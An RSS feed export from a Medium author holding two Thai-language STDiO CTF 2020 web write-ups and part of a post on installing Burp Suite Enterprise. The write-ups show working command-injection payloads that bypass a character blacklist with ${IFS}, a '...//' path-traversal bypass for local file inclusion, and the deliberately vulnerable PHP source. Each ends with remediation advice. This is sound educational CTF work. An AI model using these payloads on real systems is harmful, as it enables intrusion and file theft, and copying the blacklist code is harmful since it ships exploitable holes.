<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by idealphase on Medium]]></title>
        <description><![CDATA[Stories by idealphase on Medium]]></description>
        <link>https://medium.com/@idealphase?source=rss-f6280327857e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*Yw9oY40CkdAyhLo3dncNBA.jpeg</url>
            <title>Stories by idealphase on Medium</title>
            <link>https://medium.com/@idealphase?source=rss-f6280327857e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 00:46:54 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@idealphase/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[STDiO CTF 2020 : injectme — web 30 pt]]></title>
            <link>https://medium.com/@idealphase/stdio-ctf-2020-injectme-web-30-pt-b0029f744479?source=rss-f6280327857e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0029f744479</guid>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[burpsuite]]></category>
            <dc:creator><![CDATA[idealphase]]></dc:creator>
            <pubDate>Mon, 06 Jan 2020 07:55:38 GMT</pubDate>
            <atom:updated>2020-01-06T10:14:07.914Z</atom:updated>
            <content:encoded><![CDATA[<h3>STDiO CTF 2020 : injectme — web 30 pt</h3><figure><img alt="STDiO CTF logo" src="https://cdn-images-1.medium.com/max/639/0*fSphmIT0ftFJUAw0" /></figure><h3>ยาวไปไม่อ่าน [TL;DR]</h3><p>- เว็บนี้สามารถโจมตีด้วยช่องโหว่ Command injection ทำให้สามารถสั่งคำสั่งอะไรก็ได้บนเครื่องเว็บ server<br>- อ่าน index.php ทำให้เห็น filter ที่ใช้ป้องกัน Command injection แต่ยังขาดการ filter ‘|’ ออก<br>- bypass filter ที่ทำการลบช่องว่าง ด้วย ${IFS} <br>- เจอไฟล์ flag ที่ folder ก่อนหน้า (..) ด้วย ls${IFS}-al${IFS}..<br>- อ่านไฟล์ flag ด้วยการ bypass filter ‘/’ ด้วย find -exec cat ที่ directory ก่อนหน้าเรียกด้วย .. เฉยๆ <br>คำถามชวนคิด: ถ้า flag ไม่อยู่ที่ folder ก่อนหน้าจะทำยังไงดี บอกผมด้วยนะครับ pls.<br>ขอขอบคุณคำตอบจากคุณ <a href="https://medium.com/u/62ad76b1f615">Jusmistic</a> <a href="https://medium.com/@jusmistic">https://medium.com/@jusmistic</a> ดังนี้ครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*UCHkEuPg4TAYlTk4oha2ag.png" /><figcaption><a href="https://medium.com/u/62ad76b1f615">Jusmistic</a>’s solution</figcaption></figure><h3>Walkthrough</h3><p>ป.ล. บทความนี้จะไม่มีรูปนะครับ ไม่ได้ capture ไว้เลย T__T เลยเอาเนื้อหาใน note ระหว่างทำโจทย์มาแชร์ครับ</p><p>จากชื่อโจทย์ injectme ทำให้ผมนึกถึงช่องโหว่ Command injection ที่สามารถทำให้สั่งคำสั่ง OS อะไรก็ได้บนเครื่องเว็บ server เช่น download file มาเขียนทับ index.php เพื่อเปลี่ยนแปลงหน้าเว็บ (Website defacement) หรือแฝง malicious source code ที่ไม่ปลอดภัยไว้ที่หน้าเว็บ รวมถึงการใช้เครื่องเว็บ server เพื่อโจมตี private network ต่อไปดังรูปข้างล่าง</p><p>ป.ล. ขออนุญาตแปะรูปจาก PortSwigger WebAcademy แหล่งเรียนรู้ช่องโหว่เว็บต่างๆจากผู้พัฒนาโปรแกรม Burp Suite ครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*kx6rQO_GjAis-IuDaJPD2w.png" /><figcaption>ref: <a href="https://portswigger.net/web-security/os-command-injection">https://portswigger.net/web-security/os-command-injection</a></figcaption></figure><p>การทำงานของเว็บคือใช้ web server ping ไปยัง IP address ที่เราระบุ เช่นกรอก IP เป็น 127.0.0.1 และเมื่อรอสักครู่ก็จะมีการคืนผลลัพธ์ของคำสั่ง ping มาให้เรา</p><h3>เจอบัคได้อย่างไร?</h3><p>สำหรับโจทย์ข้อนี้ผมใช้ Burp Suite Intruder tab และ ใช้ Payload type: “Simple list” และเลือก Buit-in “Fuzzing - full” ในการ scan และเจอช่องโหว่ command injection ด้วย payload <strong>“| id” </strong>และที่หน้าเว็บมีการแสดงผลลัพธ์ของคำสั่ง id เช่น uid=33(www-data) gid=33(www-data) groups=33(www-data)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*rDRkMQ5CNITxIcP3C0Vw4Q.png" /><figcaption>Burp Intruder — Fuzzing — full payload</figcaption></figure><h3>| คืออะไร ?</h3><p>ทำให้เรารู้ว่าเราสามารถโจมตีเว็บนี้ด้วยเครื่องหมาย pipe “|” สำหรับเครื่องหมายนี้มีการใช้งานปกติคือ command1 | command2 หมายถึง การนำ standard output จากคำสั่งที่ 1 มาเป็น standard input ของคำสั่งที่ 2 (สามารถทำได้มากกว่า 2 เช่น command1 | command2 | command3 …)</p><p>ตัวอย่างเช่นการคิดค่า base64 ของคำว่า “injection”</p><pre>$ echo -n “injection” | base64<br>aW5qZWN0aW9u</pre><h3>เมื่อเจอช่องโหว่ Command injection แล้ว จะหา flag ได้อย่างไร?</h3><p>อันดับแรกผมใช้ <strong>|find </strong>เพื่อดูว่า ณ folder ปัจจุบันมีไฟล์อะไรอยู่บ้าง</p><pre>| find</pre><pre>./index.nginx-debian.html<br>./.index.php.swo<br>./index.php<br>./.index.php.swp</pre><p>ลองอ่าน index.php เพื่อดูการทำงานของเว็บ ด้วย <strong>|cat index.php </strong>แต่พบ error ว่า “Your input is error” ผมเดาว่าต้องมีการ filter อะไรสักอย่าง เพราะว่า | find ก่อนหน้านี้ไม่พบ error</p><p>หลังจากนั่งหาใน Google ว่า command injection payload ก็พบ Github นึงที่รวบรวม payload ต่างๆที่ใช้กับ command injection ไว้นั่นคือ <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection">https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection</a></p><p>ป.ล. มีเกี่ยวกับช่องโหว่อื่นด้วยนะครับ ของดีแบบนี้ อย่าลืมกดดาวไว้และเก็บไว้ในคลัง resource เลยครับ</p><p>กลับมาต่อก็คือวิเคราะห์ว่า | find กับ | cat index.php แตกต่างกันอย่างไร?<br>เบื้องต้นผมคิดว่า มันมีช่องว่าง และเครื่องหมาย . เพิ่มเข้ามา งั้นลองหา bypass filter ช่องว่างก่อนละกัน และในลิ้ง Github ข้างบนก็ไปเจอ หัวข้อ Filter Bypasses : Bypass without space และก็ลองแทนที่ช่องโหว่ด้วย payload ต่างๆและก็พบว่า เมื่อลองแทน ช่องว่างด้วย ${IFS} สามารถทำให้อ่านไฟล์ index.php ได้</p><pre>|cat${IFS}index.php</pre><pre>&lt;?php&lt;br&gt;<br> if (isset($_POST[“target”]))<br> &lt;br/&gt;<br> {<br> &lt;br/&gt;<br> $target=trim($_POST[“target”]);<br> &lt;br/&gt;<br> // Set blacklist<br> &lt;br/&gt;<br> <strong>$substitutions = array(<br> &lt;br/&gt;<br> ‘&amp;amp;’ =&amp;gt; ‘’,<br> &lt;br/&gt;<br> ‘%’ =&amp;gt; ‘’,<br> &lt;br/&gt;<br> ‘;’ =&amp;gt; ‘’,<br> &lt;br/&gt;<br> ‘(‘ =&amp;gt; ‘’,<br> &lt;br/&gt;<br> ‘)’ =&amp;gt; ‘’,<br> &lt;br/&gt;<br> ‘`’ =&amp;gt; ‘’,<br> &lt;br/&gt;<br> ‘||’ =&amp;gt; ‘’,<br> &lt;br/&gt;<br> ‘ ‘ =&amp;gt; ‘’,<br> &lt;br/&gt;<br> ‘/’ =&amp;gt; ‘’<br> &lt;br/&gt;<br> );</strong><br> &lt;br/&gt;<br> // Remove any of the charactars in the array (blacklist).<br> &lt;br/&gt;<br> $target = str_replace(array_keys( $substitutions ), $substitutions, $target);<br> &lt;br/&gt;<br> echo “You result is here:<br> &lt;br/&gt;<br> “;<br> &lt;br/&gt;<br><strong> exec(“/bin/ping -c 10 “.$target,$pingresult, $stats);</strong><br> &lt;br/&gt;<br> $check=”false”;<br> &lt;br/&gt;<br> //print $stats;<br> &lt;br/&gt;<br> if($stats==”0&quot;)<br> &lt;br/&gt;<br> {<br> &lt;br/&gt;<br> foreach($pingresult as $line)<br> &lt;br/&gt;<br> {<br> &lt;br/&gt;<br> print $line.’<br> &lt;br/&gt;<br> ‘;<br> &lt;br/&gt;<br> }<br> &lt;br/&gt;<br> }<br> &lt;br/&gt;<br> else<br> &lt;br/&gt;<br> {<br> &lt;br/&gt;<br> print “\r\n”;<br> &lt;br/&gt;<br> print “Your input is error”;<br> &lt;br/&gt;<br> }<br> &lt;br/&gt;<br> }<br> &lt;br/&gt;<br> else {<br> &lt;br/&gt;<br> print “Please input target before press the button.”;<br> &lt;br/&gt;<br> }<br> &lt;br/&gt;<br> ?&amp;gt;<br> &lt;br/&gt;<br>&lt;/form&gt;</pre><p>และเช่นโจทย์ข้อ mylocalfile ที่ผมเขียน writeups ไว้ที่ <a href="https://medium.com/@idealphase/stdio-ctf-2020-mylocalfile-web-15-pt-ca2881191edd">https://medium.com/@idealphase/stdio-ctf-2020-mylocalfile-web-15-pt-ca2881191edd</a> ก็มีการทำ filter ไว้เช่นเดิม (แต่ไม่ได้มีการทำ filter อักษร | ไว้ เลยทำให้เว็บนี้มีช่องโหว่ Command injection)</p><p>ตอนนี้เราก็สามารถสั่งคำสั่ง OS อะไรก็ได้ โดยการแทนที่ช่องว่างด้วย ${IFS} และโจทย์มีการบอกว่า allow port 20000–21000 ซึ่งผมเดาว่าอาจจะต้องทำ bind shell หรือ reverse shell และหา flag ต่อ แต่ผมบังเอิญโชคดีไปเจอไฟล์ flag ดังคำสั่งข้างล่าง</p><pre>|ls${IFS}-al${IFS}..</pre><pre>[+] Finally, Found readable flag file here <br>You result is here:<br>total 24<br>drwxr-xr-x 1 root root 4096 Jan 4 13:02 .<br>drwxr-xr-x 1 root root 4096 Jan 4 12:56 ..<br>-rw-r — r — 1 root root 17 Dec 23 08:34 flag_YTYwY.txt<br>drwxr-xr-x 1 root root 4096 Jan 4 12:57 html</pre><p>และสุดท้ายก็อ่านไฟล์ flag ด้วย payload |cat${IFS}../flag_YTTwY.txt</p><p>แต่กลับอ่านไม่ได้ เพราะเนื่องจาก มี filter เครื่องหมาย slash (/) ในไฟล์ index.php ดังนี้</p><pre><strong>‘/’ =&amp;gt; ‘’</strong></pre><p>จึงเป็นเหตุทำให้เราไม่สามารถอ่านไฟล์ flag ได้ตรงๆ</p><p>มาถึงจุดนี้ ผมก็ตันไปแปปนึง แล้วก็หาทางจะทำ bind shell และ reverse shell แต่เท่าที่หา payload ที่ใช้ก็จะต้องใช้เครื่องหมาย / ในการเรียก /bin/sh ทั้งหมด (ใครมี payload bind shell หรือ reverse shell โดยไม่มีอักษร ‘/’ รบกวนส่งมาให้ผมเขียนไว้ในนี้เพิ่มเติมได้เลยนะครับ T__T)</p><h3>ใช้คำสั่ง find -exec cat</h3><p>เมื่อลอง Google หาวิธี cat จาก command find ก็ไปเจอลิ้งนี้พอดี <a href="https://unix.stackexchange.com/questions/292253/how-to-use-cat-command-on-find-commands-output">https://unix.stackexchange.com/questions/292253/how-to-use-cat-command-on-find-commands-output</a></p><p>และสุดท้ายก็ใช้ payload ดังข้างล่างนี้และ search หา format ของ flag stdio:{…} ก็จะเจอ flag ดังข้างล่างนี้</p><pre>|find${IFS}..${IFS}-type${IFS}f${IFS}-exec${IFS}cat${IFS}{}${IFS}+<br>STDiO:{1nj3cT10}</pre><h3>Remediation</h3><ul><li>พยายามหลีกเลี่ยงการเรียก OS command จาก Application layer และ input จาก user</li><li>ทำการ filter ที่ปลอดภัย เช่น ตรวจสอบว่า ค่าที่รับมาจาก user ต้องมีเฉพาะตัวเลขเท่านั้น, มีเฉพาะอักษณ a-zA-Z0–9, ไม่มีช่องว่าง (whitespace) หรืออักษรอื่นๆ (other syntax)</li><li>ทำ white list เฉพาะ command ที่จำเป็นต้องใช้</li></ul><p>ref: <a href="https://portswigger.net/web-security/os-command-injection">https://portswigger.net/web-security/os-command-injection</a></p><p>จบแล้วครับ สำหรับเฉลยโจทย์หัวข้อ Web ซึ่งมีแค่ 2 ข้อครับ ต้องมารอดูว่า ในรอบ offline วันที่ 12 มกราคมนี้ ทางผู้จัดจะเปิดให้บุคคลทั่วไปร่วมสนุกอีกหรือไม่ ติดตามข่าวสารของการแข่ง หรือ writeups ข้ออื่นๆ ได้ที่ Facebook page <a href="https://www.facebook.com/STDiO-CTF-Competition-107647900663121/">https://www.facebook.com/STDiO-CTF-Competition-107647900663121/</a> หากผู้อ่านยังไม่ได้อ่านเฉลยข้อ “mylocalfile” ที่ผมเขียนไว้สามารถไปอ่านได้ที่ลิ้งนี้นะครับ <a href="https://medium.com/@idealphase/stdio-ctf-2020-mylocalfile-web-15-pt-ca2881191edd">https://medium.com/@idealphase/stdio-ctf-2020-mylocalfile-web-15-pt-ca2881191edd</a> ^__^</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0029f744479" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[STDiO CTF 2020 : mylocalfile — web 15 pt]]></title>
            <link>https://medium.com/@idealphase/stdio-ctf-2020-mylocalfile-web-15-pt-ca2881191edd?source=rss-f6280327857e------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca2881191edd</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[lfi]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[idealphase]]></dc:creator>
            <pubDate>Mon, 06 Jan 2020 04:55:33 GMT</pubDate>
            <atom:updated>2020-01-06T05:09:59.274Z</atom:updated>
            <content:encoded><![CDATA[<h3>STDiO CTF 2020 : mylocalfile — web 15 pt</h3><figure><img alt="STDiO CTF logo" src="https://cdn-images-1.medium.com/max/639/0*jfSJBJpPf-mvZIMG" /></figure><h3>ยาวไปไม่อ่าน [TL;DR]</h3><p>- เว็บนี้สามารถโจมตีด้วยช่องโหว่ Local file inclusion (LFI) ทำให้สามารถอ่านเนื้อหาของไฟล์ได้<br>- อ่าน index.php ทำให้เห็น filter ที่ไม่ปลอดภัย คือการแทนที่ ‘./’ ด้วย ‘’ (ช่องว่าง) ให้ยังมีช่องโหว่ LFI<br>- bypass filter ด้วย (...// จะถูกแทนที่เป็น ../) และอ่านไฟล์ flag ที่ folder /tmp</p><h3>Walkthrough</h3><p>ป.ล. บทความนี้จะไม่มีรูปนะครับ ไม่ได้ capture ไว้เลย T__T เลยเอาเนื้อหาใน note ระหว่างทำโจทย์มาแชร์ครับ<br>จากชื่อโจทย์ mylocalfile ทำให้นึกถึงช่องโหว่ดัง Local file inclusion ที่สามารถทำให้อ่านไฟล์ต่างๆบนระบบได้ เช่น อ่าน source code ดูการทำงานของเว็บ, อ่านไฟล์ configuration เพื่อหา username หรือ password เพื่อใช้โจมตีต่อไป โดยท่าโจมตีง่ายๆก็คือ ../../../etc/passwd นั่นเอง (อ่าน World-readable Linux file)</p><p>สำหรับโจทย์ข้อนี้มีการเรียกไฟล์ 3 file ชื่อ 1,2,3 ผมก็ลองใช้ Burp Suite ดักค่าและส่ง <strong>index.php </strong>แทนชื่อไฟล์ดังกล่าวดัง HTTP request ข้างล่าง</p><pre>&gt; POST /index.php HTTP/1.1<br>Host: 206.189.42.175:10005<br>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:71.0) Gecko/20100101 Firefox/71.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 14<br>Origin: <a href="http://206.189.42.175:10005/">http://206.189.42.175:10005</a><br>Connection: close<br>Referer: <a href="http://206.189.42.175:10005/">http://206.189.42.175:10005/</a><br>Upgrade-Insecure-Requests: 1</pre><pre>file=<strong>index.php</strong></pre><p>และเราก็จะสามารถเห็นเนื้อหาของไฟล์ index.php ดังข้างล่าง</p><pre>&lt;?php<br> if (isset($_POST[ ‘file’ ])) {<br> $file = $_POST[ ‘file’ ];<br> <strong>$substitutions = array( <br> ‘./’ =&gt; ‘’, <br> ‘:/’ =&gt; ‘’, <br> );</strong><br> $file = <strong>str_replace</strong>(array_keys( $substitutions ), $substitutions, $file); <br> ##### Include content file<br> if (preg_match(‘/\bpasswd\b/’, $file)) {<br> echo “root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false<br>systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false<br>systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false<br>systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false<br>_apt:x:104:65534::/nonexistent:/bin/false”;<br> }<br> else<br> {<br> echo “Your path is “.$file.”&lt;br&gt;”;<br> echo <strong>file_get_contents(“./”.$file);</strong><br> }<br> }<br> ?&gt;</pre><p>โดยไฟล์นี้จะมีการทำการหลอกว่า เราสามารถอ่านไฟล์ /etc/passwd ได้ โดยถ้าในชื่อไฟล์มี string passwd อยู่ จะคืนค่าเนื้อหาของไฟล์ /etc/passwd หลอกออกมาเพื่อให้ผู้โจมตีนึกว่าสามารถโจมตี LFI ได้</p><p>แต่ไฟล์นี้จะมีการทำ filter เพื่อป้องกันการโจมตี LFI ไว้นั้นคือ ถ้าชื่อไฟล์เรามี string ./ จะถูกลบออกนั่นเอง</p><pre>$substitutions = array( <br> ‘./’ =&gt; ‘’, <br> ‘:/’ =&gt; ‘’, <br> );</pre><p>นั่นทำให้ payload เบสิกของเราจาก ../../../etc/passwd จะกลายเป็น <br>…etc/passwd และทำให้เราเห็น error ว่าไม่มีไฟล์นี้อยู่ในระบบ และแค่นี้สามารถแสดงว่าเว็บนี้ไม่มีช่องโหว่ LFI หรือไม่?</p><h3>Bypass insecure filter</h3><p>จากวิธีป้องกันการโจมตี LFI ข้างบน นี่เป็นการวิธีการป้องกันที่ไม่ปลอดภัยครับและเราสามารถโจมตี LFI ด้วย payload …//…//…//…//…//…//…//tmp/flag.txt นั่นคือ …//…//…//…//…//…//…//tmp/flag.txt จะถูกแทนที่ด้วย ../../../../../../../tmp/flag.txt (ลบ ./ ออก) และได้ flag คือ <br><strong>stdio:{l0c4l_f1l3_1nclu510n}</strong></p><p>ป.ล. โจทย์บอกว่า flag อยู่ในไฟล์ชื่อ flag.txt และอยู่ใน Temporary folder ของ OS ซึ่งใน Linux ก็จะมี /tmp และ /var/tmp</p><h3><strong>Remediation</strong></h3><ul><li>หลีกเลี่ยงการใส่ input จาก user ไปที่ API ตรงๆ</li><li>ควร validate input จาก user ก่อนนำไปใช้งานที่ปลอดภัย เช่น มีเฉพาะตัวอักษร a-z 0–9 ไม่มีอักษร / /% และอื่นๆ (เช่น จากข้อนี้ ถ้าเราเพิ่ม filter ‘/’ ไปด้วยเว็บก็ยังอ่านไฟล์ filename1, filename2, filename3 ได้ปกติ และไม่มีช่องโหว่ LFI)</li><li>ทำ white list ให้อ่านได้เฉพาะไฟล์ที่ต้องการ</li></ul><p>ref:<a href="https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion">https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion</a><br><a href="https://www.geeksforgeeks.org/local-file-inclusion-lfi/">https://www.geeksforgeeks.org/local-file-inclusion-lfi/</a></p><p>ป.ล. ถ้ามีข้อผิดพลาดประการใด รบกวนทักมาบอกได้นะครับ ยินดีแก้ไขครับ</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca2881191edd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[เมื่อ Junior penetration tester ได้ลองแตะ Burp Suite Enterprise (Automated DAST)]]></title>
            <link>https://medium.com/@idealphase/%E0%B9%80%E0%B8%A1%E0%B8%B7%E0%B9%88%E0%B8%AD-junior-penetration-tester-%E0%B9%84%E0%B8%94%E0%B9%89%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%95%E0%B8%B0-burp-suite-enterprise-automated-dast-28db19b4f8be?source=rss-f6280327857e------2</link>
            <guid isPermaLink="false">https://medium.com/p/28db19b4f8be</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[dast]]></category>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[idealphase]]></dc:creator>
            <pubDate>Sun, 01 Dec 2019 05:44:56 GMT</pubDate>
            <atom:updated>2019-12-01T05:44:56.478Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/347/1*-eVVPXirM0f-vLVoeUaC3Q.png" /></figure><h3>0x00 TL;DR</h3><p>Burp Suite Enterprise คือ Web server ที่คอยจัดการกับ Burp scanner (ตัวเดียวกันกับ Burp pro เลยครับ) และจัดการกับ Web asset ขององค์กร โดยรองรับการใช้งานผ่านหน้าเว็บ Web-UI และ REST API เพื่อให้ CI (ex. Jenkins) สามารถสั่งสแกนหรือสั่งขอผลการสแกนและได้ผลในรูปแบบ format JSON เพื่อนำผลหรือ report ไปใช้วิเคราะห์และใช้ประโยชน์ต่อไป จุดเด่นที่แตกต่างจาก Burp pro 1. สั่งสแกนทิ้งไว้ล่วงหน้า (Schedule scan) 2. สั่งสแกนได้เฉพาะ web asset ที่ได้รับมอบหมาย (Role-based access control) 3. สแกนทันทีที่ส่งโค้ดเข้า repository (Integrate with CI via REST API) Network diagram ข้างล่างสามารถช่วยให้เห็นภาพชัดเจนขึ้นครับ</p><figure><img alt="Network and firewall configuration ref: https://portswigger.net/burp/documentation/enterprise/getting-started/system-requirem" src="https://cdn-images-1.medium.com/max/961/1*wfOm9RonWeXF8ZYcY7tU1Q.png" /><figcaption>Network and firewall configuration ref: <a href="https://portswigger.net/burp/documentation/enterprise/getting-started/system-requirements">https://portswigger.net/burp/documentation/enterprise/getting-started/system-requirements</a></figcaption></figure><h3>0x01 Introduction</h3><p>สวัสดีครับ วันนี้ผมจะมาแชร์มุมมองของ Junior penetration tester เกี่ยวกับ Web application penetration testing (การหาช่องโหว่ของเว็บๆนึงแล้วพยายามหาทางปิดช่องโหว่ ก่อนที่ Hacker จริงๆจะมาแฮกระบบของเรา) หลังจากได้ผ่านงานทำ Web Penetration testing ให้กับลูกค้ามาเกือบจะครบ 1 ปี และประกอบกับได้รับโอกาสจากทางทีม Infosec ของบริษัท MFEC (บริษัทที่ผมทำงานอยู่ปัจจุบัน) ให้ทำการติดตั้งและทดลองใช้งาน Burp Suite Enterprise v1.1.04 จึงเป็นเหตุให้ผมอยากจะมาแชร์กับผู้อ่านว่า Burp Suite Enterprise จริงๆแล้วมันทำอะไรได้บ้าง? มันจะมาช่วย penetration tester แบบผมได้มากน้อยเพียงใด? และเพื่อเป็นประโยชน์แก่ผู้ที่สนใจ</p><h3>0x02 What is Burp Suite Enterprise?</h3><p>โดยปกตินักทดสอบเจาะระบบเว็บหรือ web penetration tester กว่า 99% ต้องมีโอกาสได้ใช้งานโปรแกรม Burp Suite ไม่ว่าจะเป็น version ฟรี (Community Edition) หรือ version เสียตังค์ (Professional) เรามาลองรู้จัก Burp Suite Enterprise กันดูครับว่ามันประกอบไปด้วยอะไรบ้าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*9dh_7l3Oq6V__taqZzOxfA.png" /><figcaption>Burp Suite Architecture</figcaption></figure><ol><li>Enterprise server: ทำหน้าที่เป็นตัวกลางประสานกับส่วนอื่นๆ, จัดการลำดับคิวการสแกนช่องโหว่, software update</li><li>Agent (ที่ไม่ได้หมายถึงโปรแกรมที่ไปติดตั้งที่ Web server ที่ต้องการจะสแกนตอนแรกผมก็งง?): PortSwigger หรือบริษัทเจ้าของโปรแกรม Burp Suite นิยามว่าเป็น “Embedded instance of Burp Scanner” แต่จากความรู้ที่ผมมี ผมมองว่ามันคือตัวเดียวกัน Burp pro เลยครับคือทำหน้าที่ยิง malicious request ไปแล้วดูผลการ response (ถ้าใครรู้ว่ามันแตกต่างกันยังไง ทักมาบอกผมได้เลยนะครับ ยินดีรีบแก้ไขทันทีครับ)</li><li>Web Server: คอยรับคำสั่งจาก user ผ่านหน้าเว็บ (Web-UI) และ จาก CI ผ่าน REST API</li><li>Database: ทำหน้าที่เก็บ configuration และผลการสแกนช่องโหว่ โดยมีให้เลือกใช้งาน 2 รูปแบบ คือ 1.Bundled database 2. External database รองรับหลากหลายเช่น MariaDB, Microsoft SQL server, MySQL, Oracle, PostgreSQL</li></ol><p>[*] หมายเหตุ ทุก component สามารถลงคนละเครื่องได้ ยกเว้น Enterprise server และ Web Server ต้องลงเครื่องเดียวกันเท่านั้น</p><h3>0x03 Deployment</h3><p>การจะใช้งาน Burp Suite Enterprise สามารถนำไปใช้งานได้ 2 รูปแบบ</p><p>1.เครื่องเดียวโดดๆ (Single-machine deployment) (ลงทุก component บนเครื่องเดียวนี้แหละครับ T_T เหมือนตอนที่ผมเทสนี่เลย) จะมีเรื่องข้อกังวลข้อเดียวที่ Offical document เขียนแนะนำไว้คือ รองรับมากสุดแค่ 10 Agent เท่านั้น</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*RX__g1ctmw8SOeSlV5_b7Q.png" /><figcaption>Single-machine deployment</figcaption></figure><p>2.หลายเครื่องช่วยกัน (Multiple-machine deployment) การไปใช้งาน Database ที่มีอยู่ครับ, การแยกเครื่องสำหรับ Agent เพื่อให้ประสิทธิภาพการ scan ที่ดีกว่า <br>เช่น การสั่งสแกนหลายๆเว็บพร้อมกัน (concurrent scan) คือการที่ 1 agent สแกนต่อ 1 web นะครับ ไม่ใช่หลาย agent ช่วยกันสแกนเว็บเดียวกัน, scalable pool of agents ขึ้นอยู่กับจำนวน License ตอนสั่งซื้อกับ PortSwigger เลยครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*9dqv28hreDtmQ0egZFrXFw.png" /><figcaption>Multi-machine deployment</figcaption></figure><p>โดยทาง Official document ก็มีเรื่อง resource ที่ควรเตรียม (Indicative guide) เพื่อ deploy Burp Suite Enterprise ดังตารางข้างล่างนี้เลยครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*cj-Ev2TVtX_XcTpqDH5xFw.png" /><figcaption>Indicative guide</figcaption></figure><h3>0x04 Installation</h3><p>ในการทดสอบนี้ ผมลองบนเครื่องคอมพิวเตอร์ส่วนตัวของผมเลยนะครับ โดยผมขอแชร์เป็นรูปแทนละกันครับว่าตอนลงเราจะต้องเจอและต้อง config อะไรบ้าง (โดยผมจะไม่เลือกอะไรเลยนะครับ Next รัวๆ ด้วยค่า Default นี่แหละครับ และใช้งาน Database ที่ติดมากับมันเลย)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJpoTC0qPM3_0r6DqcAlhw.png" /><figcaption>Download installer</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*uRBhQYsxlvk6cy28jYUFhg.png" /><figcaption>Select Destination Directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*otFpC3EOZ2mZKvW8mhHlkA.png" /><figcaption>Select Components</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*MUAfj6RK-C1xjMSUd_W9Kg.png" /><figcaption>Select Logs Directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*SyUrSRu5-jIiAPSPV6WTlw.png" /><figcaption>Select Web Server Port</figcaption></figure><figure><img alt="" 